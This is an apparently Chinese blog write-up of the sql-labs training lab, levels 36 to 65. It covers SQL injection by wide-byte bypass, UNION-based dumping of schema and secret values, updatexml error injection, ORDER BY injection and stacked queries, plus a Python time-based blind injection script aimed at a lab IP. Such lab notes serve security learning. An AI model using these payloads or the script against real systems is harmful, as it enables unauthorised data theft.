SQL注入>>>sql-labs通关笔记(完结)

sql注入好像又是搁置比较久了,一共65关今天将剩下的几关做完了记一下解题过程

less-36

在这里插入图片描述

添加单引号登录成功,根据下面提示可知其中单引号被过滤

既然单引号被过滤了,第一反应是宽字节绕过直接上payload
配合联合查询暴库名

?id=-1%E6' union select 1,version(),database() --+

在这里插入图片描述

源码使用了mysql_real_escape_string函数进行了转义,和前面类似。

less-37

这题很简单,上题是get型,这题是post型
只是稍许不同的是这里通过表单提交会把内容进行url编码
还有一个小细节是字段数不同,上题三个字段,这里只有两个字段

这里通过抓包将内容改成

在这里插入图片描述

1%E6' union select null,database()#

放包从而得到库名security

less-38----45

这一系列的都是堆叠注入
在这里插入图片描述

我还在尝试,怎么直接爆出库名来了,上网查了一下是要让我们学习堆叠注入

这里用的懒人网址做的就做不了堆叠注入,个人理解就是加个分号执行另一个语句

那就介绍一下这个函数(图中我写了注释)

mysqli_multi_query(connection,query)
在这里插入图片描述

这里有一些堆叠注入的原理以及不同数据库的注入方法

less-46

一般的注入分为三类,注入查询字符串,注入查询数字数据以及注入查询结构,比如这里就是第三种

所以这里不能使用之前的方法进行注入,至于如何进行order by的注入,先使用这个语句来查询看看会有什么效果

在这里插入图片描述

在这里插入图片描述

输入1和2

发现列表排序的结果不一样,也就是说更改输入的数据会影响结果的顺序,则说明输入可能被插入到order by 子句中。

但是怎么去确定能否去注入其他语句?

分别在语句后输入 asc --+和desc --+如果结果不同就说明可以注入其他sql,而这里是不同的

可以归于报错注入一类,所以其中一个方法是根据报错注入的方法用and连接符注入

?sort=1 and (updatexml(1,concat(0x7e,(select database())),0));

在这里插入图片描述

还有一种是盲注的方式

less-47

和上关相同,只是现在的查询语句中的id含有单引号

less-48

这里只是基于盲注的结构化注入,直接使用python脚本暴库长和库名
在这里插入图片描述

import requests
import string
url = "http://43.247.91.228:84/Less-49/"
def iftimeout(url):
    try:
        res = requests.get(url,timeout=3)
        return res.text
    except Exception as e:
        return "timeout"
dbnamelen = 0
while True:
    dbnamelen+=1
    dbnamelen_url = url+"?sort=1'+and+if(length(database())="+str(dbnamelen)+",sleep(5),1)--+"
    print(dbnamelen_url)
    if "timeout" in iftimeout(dbnamelen_url):
        print("库长:",dbnamelen)
        break


dbname=""
for i in range(1,9):
    for j in string.ascii_lowercase:
        dbname_url=url+"?sort=1'+and+if(substr(database(),"+str(i)+",1)='"+j+"',sleep(5),1)--+"
        print(dbname_url)
        if "timeout" in iftimeout(dbname_url):
            dbname+=j
            print("库名:",dbname)
            break

less-50

这里又到了之前的堆叠注入,这里是结构化注入和堆叠注入的组合

但是原理一样,只需要在结构化注入也就是?sort=1后加分号执行其他的语句比如create

less-51

不同于less-50的在这里是基于单引号

less-52-53

分别是前两关的盲注类型但是不影响注入方式

less-54

要求:
挑战的目的是在少于10次尝试中仅从数据库中的随机表(“挑战”)中转储(秘密密钥)
为了好玩,每次重置时,质询都会生成随机的表名,列名和表数据。 始终保持新鲜。

判断注入类型

在这里插入图片描述

是基于单引号的字符型注入

暴版本和库名

因为有回显,使用联合查询

-1' union select null,version(),database() --+

在这里插入图片描述

此时库名是challenges,回显字段是二三字段,根据库名暴表名

暴表名
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='challenges' --+

得到表名为MJHGFJ59RM

暴列名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='MJHGFJ59RM' --+

在这里插入图片描述

暴出四个列名,注意这里要把列名放在第三个字段,放在第二个字段不会显示。

暴字段值
?id=-1' union select 1,2,group_concat(secret_66WW) from challenges.MJHGFJ59RM --+

在这里插入图片描述

得到密码

less-55

在这里插入图片描述

只是查询的id字符由 ‘id’ 改为(id)其他都一样

less-56

一样的套路 (‘id’)

在这里插入图片描述

less-57

在这里插入图片描述

这里变成了“id”而已

less-58–61

在这里插入图片描述

这种形式很明显就要用报错注入了
可以根据updatexml() 或者 extractvalue()函数

extractvalue(目标xml文档,xml路径)
updatexml(目标xml文档,xml路径,更新的内容)

前面也有许多报错注入,都一样这里就免了
后面三关分别基于数字型、("")以及(())

less-58–61

在这里插入图片描述

这种形式很明显就要用报错注入了
可以根据updatexml() 或者 extractvalue()函数
extractvalue(目标xml文档,xml路径)
updatexml(目标xml文档,xml路径,更新的内容)

前面也有许多报错注入,都一样这里就免了
后面三关分别基于数字型、("")以及(())

less-62–65

这几题都是输入参数无报错无回显,盲注类型,构造payload先判断一下这四题注入类型

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

也并没有进行什么过滤,直接使用延时注入可以根据前面的python脚本暴库名,不多说

总结

(这些关好像和前四十关的解题没有太多不同)

1.基于结构化的order by注入
2.堆叠注入
3.这里的挑战也没有进行任何过滤,只需要常规注入手法就能拿到数据

  • 5
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值